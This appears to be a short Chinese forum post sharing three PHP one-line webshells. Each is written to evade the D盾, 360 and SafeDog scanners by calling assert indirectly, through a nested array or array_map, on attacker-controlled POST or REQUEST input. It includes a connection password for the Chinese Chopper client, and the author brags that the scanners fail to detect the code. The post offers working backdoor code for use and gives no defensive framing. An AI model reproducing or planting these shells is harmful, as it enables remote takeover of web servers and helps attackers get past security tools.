D盾,他不认识二维数组,所以就很轻松绕过了。  对了 还有360哦~  测试了下安全狗,也查不出来,,。

<?php 
$item['wind'] = 'assert'; 
$array[] = $item; 
$array[0]['wind']($_POST['whirlwind']);  //密码whirlwind 菜刀 
?>

过D盾PHP一句话木马

<?php 
$item['wind'] = 'assert'; 
$array[] = $item; 
$array[0]['wind'](''.$_POST['whirlwind']);
?>

这样改,立马就变成1个等级的了。

过D盾很容易,当然下面还提供一个0等级就的。

<?php
$a='assert';
array_map("$a",$_REQUEST);
?>

密码随便= =!你懂的!